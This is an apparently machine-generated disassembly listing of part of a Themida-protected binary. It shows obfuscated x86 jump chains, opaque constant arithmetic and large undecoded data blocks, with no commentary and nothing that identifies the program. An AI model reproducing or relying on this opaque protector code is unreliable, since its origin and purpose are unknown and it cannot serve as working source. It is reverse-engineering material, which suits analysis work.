		dd 9EB5E924h, 122DFFFFh, 2D00144Dh, 942219D7h, 15E9C129h
		dd 33FFFFC7h, 14312414h, 6058E924h, 0B850FFFFh,	4A1743E3h
		dd 0FFCDFBE9h, 1C77FFFFh, 419589Dh, 49E99C24h
		db 47h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DCE73:				; CODE XREF: Themida_:005D8F4Dj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5DA098
; ---------------------------------------------------------------------------
		dw 0F2BFh
		dd 5247786Dh, 8221D1BAh, 6DEA8170h, 0E97BDA47h,	0FFFFF839h
; ---------------------------------------------------------------------------


loc_5DCE98:				; CODE XREF: Themida_:005D63BDj
		push	ebp
		mov	ebp, esp
		push	edi
		push	ebp
		mov	ebp, 7421401h
		mov	edi, 7421405h
		xor	edi, ebp
		pop	ebp
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		push	eax
		push	5B761315h
		pop	eax
		shr	eax, 4
		add	eax, 0FA489ED3h
		jmp	loc_5D95B3
; ---------------------------------------------------------------------------
		dw 0FBFh
		dd 0E9288F42h, 0FFFF763Dh
; ---------------------------------------------------------------------------


loc_5DCED0:				; CODE XREF: Themida_:005DAC16j
		pop	edx
		jmp	loc_5DBDC8
; ---------------------------------------------------------------------------
		dw 0F031h
		dd 0E9C7015Eh, 0FFFFD3CDh
; ---------------------------------------------------------------------------


loc_5DCEE0:				; CODE XREF: Themida_:005D8976j
		xor	edi, ebx
		jmp	loc_5D712C
; ---------------------------------------------------------------------------


loc_5DCEE7:				; CODE XREF: Themida_:005DA5ADj
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		push	edi
		push	esp
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		jmp	loc_5D6895
; ---------------------------------------------------------------------------


loc_5DCF04:				; CODE XREF: Themida_:005DD190j
		pop	edi
		pop	eax
		push	edi
		mov	edi, 224040DBh
		jmp	loc_5D7F0D
; ---------------------------------------------------------------------------
		db 89h,	0D7h, 5Ah
		dd 0FFEF9CE9h, 8BC328FFh, 90E92404h, 58FFFFF4h,	5D6EEB81h
		dd 0C3014B03h, 5D6EBD55h, 9CE94B03h, 0B6FFFF8Ch, 5551E98Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DCF3E:				; CODE XREF: Themida_:005D2926j
		pop	eax
		push	ebp
		push	esi
		jmp	loc_5D4CFA
; ---------------------------------------------------------------------------


loc_5DCF46:				; CODE XREF: Themida_:005D86D9j
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_5D73AB
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 2FE6BA52h, 26E9264Fh, 55FFFF9Bh, 54EE68h, 241C8900h
		dd 0D95EB068h, 0BE565B21h, 78241F03h, 0C1D6F746h, 0EE8107E6h
		dd 6DD678D6h, 0FDC6C681h, 0F3299A7Fh, 40C3815Eh, 0F73A1305h
		dd 7CBF57DBh, 29BEAD9Eh, 0DD895FFBh, 83241C8Bh,	0EF0104C4h
		dd 4C7815Dh, 87000000h,	248B243Ch, 0F85AE924h, 8B66FFFFh
		dd 47E92404h, 8BFFFFE7h, 47E92414h, 59FFFF76h, 0FF4FBEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DCFC9:				; CODE XREF: Themida_:005D28DFj
		mov	ecx, [esp]
		jmp	loc_5DA8FE
; ---------------------------------------------------------------------------
		db 52h,	88h, 0CEh
		dd 90CCE953h, 0EC83FFFFh, 0CCD0E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DCFE2:				; CODE XREF: Themida_:005D1967j
		mov	esp, [esp]
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_5D7EAA
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_5DA1EB
; ---------------------------------------------------------------------------
		db 87h
		dd 815C241Ch, 4ECh, 48F5400h, 24048124h, 4, 6824048Fh
		dd 4CEh, 0BB241C89h, 4,	4245C01h, 4592E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DD02A:				; CODE XREF: Themida_:005D2699j
		push	2FADh
		mov	[esp], ebp
		jmp	loc_5D1CCA
; ---------------------------------------------------------------------------
		db 83h
		dd 0F7E904C4h, 81FFFF5Ah, 642A6BE5h, 0C681E956h, 0E800FFFFh
		dd 4EC8159h, 89000000h,	8AB5240Ch, 0FFF2B4E9h, 48B66FFh
		dd 8DE95724h, 50FFFF77h, 0BE93AB4h, 81FFFF9Ah, 4C3h, 4EB8300h
		dd 0FFEB22E9h, 74FF56FFh, 8F5E0424h, 29E92404h,	1FFFFC1h
		dd 0EB815EF3h, 3A6B4522h, 0E956C329h, 0FFFFAAF9h, 64EF68h
		dd 24148900h, 0EE8096B6h, 1FEE8048h, 0F680C6FEh, 5AF02844h
		dd 0D8281F04h, 281FB151h, 0D015E9C8h, 0E681FFFFh, 513C702Ch
		dd 0E681D6F7h, 65622798h, 4F34E681h, 32E92DB8h,	81FFFFEDh
		dd 0CCA53FEEh, 5EF701FDh, 0FFE9FAE9h, 665766FFh, 0E93AD3BFh
		dd 0FFFF66D4h, 0DF7CE95Dh, 0B951FFFFh, 4, 8759C829h, 15E92404h
		dd 52FFFFF7h, 9B7F28BAh, 0BD55425Ch, 47451495h,	0FF8F62E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DD11D:				; CODE XREF: Themida_:005D7B43j
		xor	ebp, [esp]
		pop	esp
		push	ebp
		jmp	loc_5DAC9D
; ---------------------------------------------------------------------------
		db 1
		dd 0E95559CDh, 0FFFFC348h, 0A73BA2BEh, 5F5FE902h, 8F54FFFFh
		dd 4832404h, 3C8B0424h,	4C48324h, 77E95750h, 0FFFFFFFDh
		dd 34FF2434h
		db 24h,	59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5D2C36
; ---------------------------------------------------------------------------


loc_5DD164:				; CODE XREF: Themida_:005DA627j
		or	edi, 24291A50h
		sub	edi, 30984DD1h
		add	edi, 81472EC5h
		mov	edx, edi
		jmp	loc_5D948F
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 74E9243Ch
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DD18B:				; CODE XREF: Themida_:005D34E1j
		sub	[esp+8], ecx
		pop	ecx
		jmp	loc_5DCF04
; ---------------------------------------------------------------------------


loc_5DD195:				; CODE XREF: Themida_:005DBED2j
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_5D2E25
; ---------------------------------------------------------------------------
		db 25h
		dd 147078C3h, 0FFC9A5E9h, 756866FFh, 14896644h,	9C506624h
		dd 0FF6D61E9h, 0A1C180FFh, 0E980D928h, 0C1805BA1h, 8BCE885Eh
		dd 0C481240Ch, 4, 0FF7D03E9h, 0FEE95CFFh, 89FFFFA0h, 0E389241Ch
		dd 4C381h, 0C3830000h, 241C8704h, 4C5815Ch, 83000000h
		dd 348904ECh, 0F09FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DD1FE:				; CODE XREF: Themida_:005D39E7j
		pop	ebp
		push	edi
		mov	edi, 3AB86662h
		sub	esp, 4
		mov	[esp], edi
		not	dword ptr [esp]
		pop	edi
		or	edi, 639C3942h
		jmp	loc_5D9692
; ---------------------------------------------------------------------------


loc_5DD21D:				; CODE XREF: Themida_:005DD2A1j
		mov	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		add	edi, ecx
		pop	ecx
		add	eax, edi
		pop	edi
		jmp	loc_5D26F1
; ---------------------------------------------------------------------------
		db 8Bh
		dd 2C812424h, 61014324h, 24048149h, 2A73BA2h, 56240401h
		dd 0FFFEE3E9h, 0ABC780FFh, 45BF828h, 2CE8003Fh,	0B652663Fh
		dd 0E9F000D9h, 0FFFF5B33h
; ---------------------------------------------------------------------------


loc_5DD264:				; CODE XREF: Themida_:005D3324j
		add	eax, 5BBD24B8h
		jmp	loc_5DD477
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 9C2404BBh, 0FF4343E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DD279:				; CODE XREF: Themida_:005D715Dj
		pop	ebp
		push	edi
		mov	edi, 458C6102h
		shr	edi, 1
		push	ecx
		push	eax
		mov	eax, 5DF67610h
		not	eax
		sub	eax, 2CA11441h
		shl	eax, 1
		xor	eax, 6BB05D7Ah
		add	eax, 64EF6027h
		add	eax, 0F6E9B936h
		jmp	loc_5DD21D
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0EEF7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DD2AE:				; CODE XREF: Themida_:005DB221j
		sub	ebx, ecx
		pop	ecx
		xor	esi, ebx
		pop	ebx
		shl	esi, 4
		xor	esi, 0E31BFB8Fh
		sub	[edi+24h], esi
		mov	esi, [esp]
		push	5088h
		mov	[esp], ecx
		push	esp
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5D4BD7
; ---------------------------------------------------------------------------


loc_5DD2E9:				; CODE XREF: Themida_:005DD57Dj
		sub	ebx, eax
		jmp	loc_5D360A
; ---------------------------------------------------------------------------


loc_5DD2F0:				; CODE XREF: Themida_:005DB94Bj
		mov	esi, ebx
		pop	ebx
		shr	esi, 8
		inc	esi
		inc	esi
		not	esi
		sub	esi, 0FFCF57A3h
		mov	edi, esi
		pop	esi
		add	ecx, 7864212Bh
		sub	ecx, 859363Dh
		jmp	loc_5D68F5
; ---------------------------------------------------------------------------
		dd 240C8B66h, 4EC81h, 3C890000h, 815F5424h, 4C7h, 4EF8300h
		dd 5C243C87h, 0E9243489h, 0FFFFEF92h, 0E9241C33h, 0FFFFE03Ch
		dd 2BE56h, 0F3010000h, 0CF7FE95Eh, 0C829FFFFh, 4EC8359h
		dd 0FF59CEE9h, 1DE381FFh, 56355177h, 0DD0DE4BEh, 5EF331DCh
		dd 295BDE01h, 0B3CCE9F2h, 5D54FFFFh, 4B951h, 0E4E90000h
		dd 0FFFFFFDCh, 59042474h, 0FF8BF6E9h, 0A5E981FFh, 0E9433C2Fh
		dd 0FFFF5E04h
; ---------------------------------------------------------------------------


loc_5DD394:				; CODE XREF: Themida_:005D6CEEj
		pop	esi
		add	esi, 1
		inc	esi
		jmp	loc_5DA083
; ---------------------------------------------------------------------------


loc_5DD39E:				; CODE XREF: Themida_:005D2292j
		and	ebp, 13E70D79h
		jmp	loc_5D2DC5
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 5585450h, 4,	8704E883h, 895C2404h, 4812424h,	424h, 24048B00h
		dd 81E78957h, 4C7h, 4C78300h, 5C243C87h, 405h, 40500h
		dd 4330000h, 24043124h,	5C240433h, 0FF41CBE9h, 243433FFh
		dd 6624248Bh, 6824048Bh, 2D1Ah,	0E9240C89h, 0FFFFDB4Eh
		dd 70F6E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DD40E:				; CODE XREF: Themida_:005D5093j
		pop	esi
		jmp	loc_5DBD87
; ---------------------------------------------------------------------------
		dd 5C242C87h, 0E9241489h, 0FFFF4737h, 592434FFh, 4C481h
		dd 8B660000h, 0C4832414h, 9DAFE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DD436:				; CODE XREF: Themida_:005D4110j
		mov	ebp, 39544C1Ah
		xor	ebp, 536C3001h
		add	ebp, 95C783E7h
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_5D4C90
; ---------------------------------------------------------------------------


loc_5DD461:				; CODE XREF: Themida_:005DB42Dj
		push	ebx
		jmp	loc_5D53E1
; ---------------------------------------------------------------------------
		db 54h
		dd 4EC815Bh, 89000000h,	96E92434h
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DD477:				; CODE XREF: Themida_:005DD269j
		add	eax, esi
		sub	eax, 5BBD24B8h
		pop	esi
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	eax, edx
		pop	edx
		shl	eax, cl
		xchg	eax, ecx
		push	esi
		jmp	loc_5D85C0
; ---------------------------------------------------------------------------


loc_5DD49C:				; CODE XREF: Themida_:005D6D3Dj
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5D774F
; ---------------------------------------------------------------------------
		db 2Dh
		dd 0B00277CBh, 0FF9D79E9h, 0C3815FFFh, 495A2ADCh, 0EB81C329h
		dd 495A2ADCh, 8124048Bh, 4C4h, 4EC8300h, 0E9243C89h, 0FFFF558Bh
		dd 5C243C87h, 5A240489h, 0FF40CFE9h, 4EC83FFh, 0E9243C89h
		dd 0FFFFA539h
; ---------------------------------------------------------------------------


loc_5DD4F8:				; CODE XREF: Themida_:005DBD3Bj
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 1
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		jmp	loc_5D9F82
; ---------------------------------------------------------------------------
		dd 4C88585Ah, 84E90187h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DD51F:				; CODE XREF: Themida_:005D2CC7j
		pop	ecx
		jmp	loc_5D21F4
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 4EC8351h, 0BE243489h, 5C0B0EF9h, 0FF96F3E9h,	0B0BA52FFh
		dd 0C149730Fh, 0D2F708E2h, 3A3C281h, 0E28113CAh, 0DA428BBh
		dd 7E9DAF7h, 0FFFFFF7Fh, 34FF2434h, 0AC685824h,	89000033h
		dd 0E2E9243Ch, 83FFFF7Bh, 148704C4h, 7CE95C24h
		db 44h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DD577:				; CODE XREF: Themida_:005D9484j
		add	esi, ebp
		pop	ebp
		sub	ebx, esi
		pop	esi
		jmp	loc_5DD2E9
; ---------------------------------------------------------------------------


loc_5DD582:				; CODE XREF: Themida_:005D6330j
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_5DD72B
; ---------------------------------------------------------------------------


loc_5DD58C:				; CODE XREF: Themida_:005DA11Fj
		shr	esi, 6
		sub	esi, 442E6472h
		push	7C06h
		mov	[esp], eax
		mov	eax, 67AA65FFh
		jmp	loc_5D75A8
; ---------------------------------------------------------------------------
		db 81h
		dd 4B4CC8E5h, 6CE58150h, 8136A645h, 0A00966C5h,	84AEE950h
		dd 875FFFFFh, 295C241Ch, 0E99C2404h, 0FFFF3FF0h, 24148966h
		dd 0E99C5066h, 0FFFF3FE4h, 0E904C483h, 0FFFF5CB9h, 4BAh
		dd 0E123E900h, 505EFFFFh, 0B8h,	1CE900h, 0E95E0000h, 0FFFF4553h
		dd 329FC781h, 0FB01B314h, 5DA2E95Fh, 489FFFFh, 0AACEE924h
		dd 0F029FFFFh, 0E958C689h, 0FFFF8A4Ah
; ---------------------------------------------------------------------------


loc_5DD61C:				; CODE XREF: Themida_:005DAF94j
		push	edi
		jmp	loc_5DC34B
; ---------------------------------------------------------------------------
aVhS		db 'Vh`S',0
		align 4
		dd 0B9240C89h, 1BBE01B9h, 0E981D9F7h, 0A151A7B4h, 0C8BCE89h
		dd 815AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DD642:				; CODE XREF: Themida_:005D27BBj
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		mul	ecx
		push	485Dh
		mov	[esp], edx
		jmp	loc_5D6737
; ---------------------------------------------------------------------------
		db 8Bh
		dd 6857240Ch, 4FCCh, 0E9242489h, 0FFFFA44Eh, 0BD55E089h
		dd 4, 835DE801h, 48704C0h, 9E045C24h, 0FF626CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DD685:				; CODE XREF: Themida_:005D8BF7j
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_5DA54A
		push	3E04h
		mov	[esp], eax
		jmp	loc_5DC137
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9CCB60Fh, 0FFFF6644h
; ---------------------------------------------------------------------------


loc_5DD6B4:				; CODE XREF: Themida_:005DA1ADj
		add	ebx, 4
		jmp	loc_5DA4DD
; ---------------------------------------------------------------------------


loc_5DD6BC:				; CODE XREF: Themida_:005D9161j
		mov	[esp], ebp
		push	ebx
		jmp	loc_5D98B3
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 7E90000h, 54FFFF91h,	8124348Bh, 4C4h, 4C68100h, 68000000h
		dd 3FBCh, 0FF6CF5E9h, 4EC81FFh,	0E9000000h, 0FFFFEC26h
		dd 4EC81h, 0C0E90000h, 0FFFFFF70h, 5D042474h, 0FF8F56E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DD709:				; CODE XREF: Themida_:005DC034j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5D7F1F
; ---------------------------------------------------------------------------
		dw 0E801h
		dd 0FFC6295Dh, 83582434h, 886804C4h, 89000005h,	0BEE92434h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DD72B:				; CODE XREF: Themida_:005DD587j
		add	ecx, 4
		push	edi
		mov	edi, 18966896h
		dec	edi
		shr	edi, 1
		xor	edi, 63351A06h
		or	edi, 78F07ECFh
		push	eax
		mov	eax, 44140FDBh
		xor	eax, 633502D7h
		add	eax, 58DD71BFh
		sub	edi, eax
		pop	eax
		sub	ecx, edi
		jmp	loc_5D7BE0
; ---------------------------------------------------------------------------
		dd 0CBFEDBF6h, 0C0E3EB80h, 0F38005EBh, 5BDE20ADh, 89EE80h
		dd 52665AF0h, 0D028F6B2h, 0A22C5A66h, 0A204E828h, 192CF604h
		dd 0FFB7F3E9h, 3C8758FFh, 24248B24h, 24048966h,	0FF3E1FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DD79D:				; CODE XREF: Themida_:005D6B3Fj
		pop	ebx
		sub	edx, 3D7A1AF1h
		sub	edx, eax
		push	ebx
		push	ebp
		jmp	loc_5DBC78
; ---------------------------------------------------------------------------
		db 5Bh,	9, 0DEh
		dd 7A63E95Bh
byte_5DD7B4	db 2 dup(0FFh)		; DATA XREF: Themida_:00611768o
; ---------------------------------------------------------------------------


loc_5DD7B6:				; CODE XREF: Themida_:005D5FBBj
		add	esi, 2E881763h
		xchg	eax, esi
		jmp	loc_5D7D20
; ---------------------------------------------------------------------------


loc_5DD7C2:				; CODE XREF: Themida_:005D29C1j
		sub	esi, 0FDA386E4h
		mov	ebp, esi
		jmp	loc_5D3EFB
; ---------------------------------------------------------------------------
		db 87h
		dd 575C2414h, 4EC81h, 14890000h, 577BA24h, 64E9F862h, 5EFFFFD8h
		dd 0FF583DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DD7ED:				; CODE XREF: Themida_:005D7D38j
		add	edx, 636E4486h
		pop	eax
		jmp	loc_5D31F7
; ---------------------------------------------------------------------------
		db 5Fh,	89h, 0CEh
		dd 64126859h, 34890000h, 2434FF24h, 0E289525Bh,	4C281h
		dd 0E9560000h, 0FFFFD8B0h, 240C8B66h, 60C868h, 240C8900h
		dd 0BE56E189h, 4, 0CFE9F101h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DD833:				; CODE XREF: Themida_:005DB1C6j
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5DA1A4
; ---------------------------------------------------------------------------


loc_5DD83C:				; CODE XREF: Themida_:005D8406j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5D86C4
; ---------------------------------------------------------------------------
		dd offset loc_63A366+2
		align 2
		dw 0C89h
		dd 32B45024h, 0FFABA9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DD869:				; CODE XREF: Themida_:005D9524j
		add	esp, 4
		push	ebx
		push	5C894842h
		jmp	loc_5DACD5
; ---------------------------------------------------------------------------
		dw 0CA01h
		dd 0FF525F59h, 0E9042474h, 0FFFFEB33h, 42474FFh, 0FFDC2DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DD891:				; CODE XREF: Themida_:005D6B38j
		pop	ecx
		jmp	loc_5D3DF4
; ---------------------------------------------------------------------------
		db 0A9h
		dd 0ADF88996h, 66006925h, 971AB2Bh, 0DA000000h,	0DB006A5Fh
		dd 0B900436Fh, 2006A51h, 2, 1000000h, 2000000h,	0A9000000h
		dd 0F88996h, 4 dup(0)
		dd 7C000000h, 1E005E67h, 11005DF3h, 8005E9Ch, 83005E08h
		dd 19005DF4h, 54005E73h, 0B3005E57h, 0AA005E20h, 20005E18h
		dd 6B005E2Ah, 7A005E49h, 0A2005E8Bh, 0CB005DFBh, 67005E0Ah
		dd 8F005E53h, 74005E5Dh, 97005E50h, 84005E94h, 0E3005E73h
		dd 8F005E68h, 25005E03h, 0A1005E9Fh, 6C005DE5h,	0D7005E67h
		dd 9005E40h, 0F4005E8Ch, 8B005E91h, 62005DE2h, 7A005DE5h
		dd 77005DDDh, 2D005E07h, 33005DFEh, 0F5005E57h,	0FB005E6Fh
		dd 2005DFDh, 87005E46h,	27005DFCh, 6F005E40h, 4C005E83h
		dd 0E9005E77h, 0BF005E96h, 4A005E3Ch, 42005E2Bh, 0EC005DFAh
		dd 0FA005E45h, 0D1005E63h, 7D005E78h, 0E6005E09h, 61005E81h
		dd 0BC005E4Bh, 5E005E97h, 17005DFEh, 45005E5Fh,	0DD005E15h
		dd 0F0005E52h, 0EC005E56h, 86005E20h, 3F005E91h, 91005E30h
		dd 0B0005DF9h, 40005E84h, 26005E62h, 35005E98h,	0F9005E44h
		dd 0B9005E3Eh, 87005DE8h, 0D1005DECh, 5C005E17h, 4C005E70h
		dd 4F005E05h, 7C005E86h, 0DC005E5Eh, 0EF005E22h, 6005E5Eh
		dd 59005DE1h, 0AF005DE9h, 22005E2Ah, 0FC005E39h, 3A005E7Bh
		dd 0F5005E10h, 11005E01h, 0B4005E01h, 27005E7Dh, 0DF005E41h
		dd 7A005E35h, 0A3005E32h, 0E2005E38h, 0C1005E3Fh, 53005E9Bh
		dd 98005E05h, 0E005E6Dh, 0AA005E51h, 0C5005E5Dh, 7D005E43h
		dd 0C8005DFFh, 0D0005E93h, 0A0005E60h, 0F1005E07h, 0B3005E89h
		dd 6B005E14h, 0C7005E5Dh, 25005E79h, 0EC005E2Eh, 4D005E7Eh
		dd 21005E1Fh, 39005E3Fh, 0B4005E0Ah, 53005E68h,	3A005E94h
		dd 10005DF6h, 5005E61h,	34005E0Eh, 2B005E0Bh, 7C005E79h
		dd 0A3005E9Ch, 0B2005E5Eh, 20005E16h, 7D005E0Bh, 8005E86h
		dd 0B4005E3Eh, 47005DF4h, 52005E33h, 0B8005E7Ch, 75005E18h
		dd 0A9005DF7h, 5D005E1Eh, 0D4005E52h, 70005E73h, 30005DDDh
		dd 0A8005DE6h, 12005E3Fh, 1D005DFCh, 60005E25h,	39005E0Dh
		dd 74005E54h, 0B4005E30h, 5005E77h, 8F005E71h, 89005DF0h
		dd 69005DEEh, 0A5005E6Dh, 49005E32h, 70005E18h,	0A6005E46h
		dd 0A3005E6Fh, 31005E4Ah, 18005E72h, 6C005DEDh,	97005E92h
		dd 0A6005E05h, 0A5005E6Eh, 4E005E75h, 0DF005DE0h, 2E005E60h
		dd 86005E2Ah, 0B005DEFh, 25005E6Bh, 0F005E32h, 0C9005E73h
		dd 21005DDCh, 31005DEAh, 99005E81h, 9C005E88h, 37005E74h
		dd 2B005E55h, 70005E8Fh
		db 15h,	5Eh, 0
; ---------------------------------------------------------------------------


loc_5DDB77:				; CODE XREF: Themida_:006A6ACAj
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 7D444D6h
		mov	eax, edi
		add	edi, 7D441EEh
		cmp	eax, [edi+2Ch]
		jnz	short loc_5DDB95
		jmp	short loc_5DDBA8
; ---------------------------------------------------------------------------


loc_5DDB95:				; CODE XREF: Themida_:005DDB91j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5DDBA4
; ---------------------------------------------------------------------------


loc_5DDB9F:				; CODE XREF: Themida_:005DDBA6j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_5DDBA4:				; CODE XREF: Themida_:005DDB9Dj
		or	ecx, ecx
		jnz	short loc_5DDB9F


loc_5DDBA8:				; CODE XREF: Themida_:005DDB93j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_5DDBB5:				; CODE XREF: Themida_:005DDBBCj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_5DDBB5


loc_5DDBBE:				; CODE XREF: Themida_:005DE2A8j
					; Themida_:005DE615j ...
		lodsb
		sub	al, 0E5h
		push	small 151h
		mov	[esp], bx
		mov	bl, 0BDh
		add	al, 0CCh
		sub	al, bl
		sub	al, 0CCh
		jmp	loc_5E7DD1
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 0C211E9h, 0C1E95700h
		db 0C1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DDBE3:				; CODE XREF: Themida_:005E1EC4j
		sub	dword ptr [esp+4], 256750Bh
		push	dword ptr [esp]
		pop	edx
		push	esi
		jmp	loc_5E093E
; ---------------------------------------------------------------------------
		db 5Bh,	0F7h, 0DBh
		dd 795CC381h, 0DA8989E0h, 0BD55425Bh, 0A9F50FAh, 340BE9h
		dd 5DEE8900h, 242C8756h, 2C87D5F7h, 0B8505E24h,	441240F3h
		dd 3F20B625h, 8E8C16Dh,	72D1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5DDC2D:				; CODE XREF: Themida_:005E1A3Ej
		pop	esp
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 88h, 0FFh
		dd 3C8BFFFFh, 4C48324h,	2C381h,	1C870000h, 71E95C24h, 6600006Fh
		dd 69E99C51h, 8100002Eh, 2805DDF5h, 0E9EA013Fh,	40A6h
		dd 4C37F181h, 0CF016964h, 0C3BA5259h, 815D334Dh, 3E624FC2h
		dd 0E9D2F77Eh, 2E84h
; ---------------------------------------------------------------------------


loc_5DDC7C:				; CODE XREF: Themida_:005E7476j
		push	edi
		mov	edi, 70B1506Eh
		sub	edi, 70B1506Ch
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		jmp	loc_5E6669
; ---------------------------------------------------------------------------


loc_5DDC9B:				; CODE XREF: Themida_:005E6856j
		mov	[esp], ecx
		mov	ecx, 117F636Eh
		dec	ecx
		and	ecx, 3CEB2A1Eh
		push	eax
		mov	eax, 6DAA3EC7h
		add	eax, 6C6F5984h
		shr	eax, 4
		or	eax, 63F74E67h
		add	eax, 73560A3h
		xor	ecx, eax
		jmp	loc_5DF9FB
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 1858669Dh, 0E99C2404h, 0FFFFFEE6h, 4244481h,	34657C1Bh
		dd 4246C81h, 4AEF58E6h,	2404015Ah, 5240BF57h, 0BD55018Bh
		dd 65A92DFEh, 8246C29h,	5E0DE9h, 7F212D00h, 122559A3h
		dd 0E9095269h, 0B2C5h
; ---------------------------------------------------------------------------


loc_5DDD10:				; CODE XREF: Themida_:005E5C75j
		push	esi
		jmp	loc_5E1398
; ---------------------------------------------------------------------------


loc_5DDD16:				; CODE XREF: Themida_:005DEB13j
		sub	bl, 5Fh
		jmp	loc_5E0A8D
; ---------------------------------------------------------------------------
		dw 0D6F7h
		dd 0FDA9F681h, 3BE9A1CDh
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5DDD2B:				; CODE XREF: Themida_:005DF770j
		mov	esi, [esp]
		add	esp, 4
		push	edx
		jmp	loc_5E24A9
; ---------------------------------------------------------------------------
		db 83h
		dd 343304C6h, 0AC94E924h, 81410000h, 0B0ED88F1h, 0B68EE98Ch
		dd 0F0310000h, 5E2434FFh, 9E6DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5DDD59:				; CODE XREF: Themida_:005E9E92j
		add	ebx, 334A476Dh
		shl	ebx, 4
		shl	ebx, 3
		add	ebx, 78BC92ACh
		jmp	loc_5DF723
; ---------------------------------------------------------------------------
		dd 24048B66h, 6BDEE953h, 31AD0000h, 751168D8h, 2C890000h
		dd 6D21BD24h, 0B9516389h, 0FFE6326h, 91E98149h,	504E5167h
		dd 3330B7B8h, 18E94832h, 680000A4h, 62F6h, 89240C89h, 8DBF57E1h
		dd 8114DC61h, 0E8373FF7h, 0A5EF8126h, 0E907E63Ah, 7909h
		dd 81241C8Bh, 4C4h, 67E3E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DDDD2:				; CODE XREF: Themida_:005E6C90j
		pop	edx
		add	esp, 4
		push	ecx
		push	708Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		push	5906h
		mov	[esp], edi
		mov	edi, 4
		sub	ecx, edi
		pop	edi
		xor	ecx, [esp]
		jmp	loc_5E20F3
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48324h, 0FDB0E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DDE0E:				; CODE XREF: Themida_:005E5EBBj
		push	3187h
		mov	[esp], ebx
		push	esi
		push	0BD32761h
		pop	esi
